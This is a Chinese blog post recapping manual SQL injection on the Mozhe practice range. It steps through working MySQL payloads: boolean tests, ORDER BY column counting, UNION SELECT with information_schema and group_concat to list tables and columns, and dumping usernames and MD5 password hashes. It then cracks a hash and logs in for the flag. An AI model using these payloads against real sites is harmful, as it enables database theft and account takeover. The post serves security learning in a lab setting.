SQL手工注入知识回顾

Posted fmsxxm

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL手工注入知识回顾相关的知识,希望对你有一定的参考价值。

自从参加工作以来,项目上关于sql注入的问题全都甩给了sqlmap,现在想起手工注入,大脑是一片茫然,所以趁着自己还记得什么叫sql注入,再重新捡一捡。

技术图片

 

墨者平台的靶场。

技术图片

 

 下面有公告。

 技术图片

 

id=1‘ 返回失败,id=1 and 1=1返回正常,id=1 and 1=2返回失败,说明存在数字型注入。

技术图片

 

技术图片

 

接下来是利用order by来查字段数,order by 4的时候正常返回,5的时候返回失败,说明有4个字段。order by 4即表示以第4个字段为基准排序,order by 5出错,这表明没有第5个字段。

 技术图片

输入and 1=2 union select 1,2,3,4。and 1=2 是为了让前面的查询失败,这样返回页面上就可以显示我们第二个查询,由下图可见2,3字段可以回显,所以我们可以把查询放在2或3里,这样就能在页面上看到返回信息。

技术图片

把database()函数放在3的位置上,返回数据库名,数据库名为mozhe_Discuz_StormGroup

 技术图片

题目已经给了是mysql,那么就用MYSQL的函数来查询表名

id=1 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup‘

用froup_concat可以将多个字符串整合成一个字符串,这样就可以返回所有的表名,MYSQL>5.0的版本可以通过查询information_schema来获取表名

技术图片

 

成功返回了表名,那么接下来就是去查表里的内容了

技术图片

 

 

 id=1 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=‘mozhe_Discuz_StormGroup‘ and table_name=‘StromGroup_member‘

技术图片

 

 

id=1 and 1=2 union select 1,2,group_concat(id),4 from StormGroup_member,因为已经知道了表名和列名,所以就直接直接查询就行了,依次查看各列

技术图片

 

name

技术图片

 

password 加密过的356f589a7df439f6f744ff19bb8092c0和30b6a7cfef5cee990979b535f6b50984

技术图片

 

 status

技术图片

 

 因为第二个账号的status为1,所以先MD5解密这个账号的密码,解密出来是754882

 登进去,里面就有flag

技术图片

 

这种是完全没有防护的,后面再做一些有防护的sql注入练习。

 (如果有错误,欢迎大佬指点,萌新们也可以多多交流,共同成长。)

 

以上是关于SQL手工注入知识回顾的主要内容,如果未能解决你的问题,请参考以下文章

第299天打卡(知识点回顾 Mybatis中的 ${ } 和 #{ }的区别)

第299天打卡(知识点回顾 Mybatis中的 ${ } 和 #{ }的区别)

第248天学习打卡(知识点回顾 xml注入集合属性 FactoryBean bean生命周期)

Spring知识点回顾(01)

SQL基础知识回顾整理

数据库知识回顾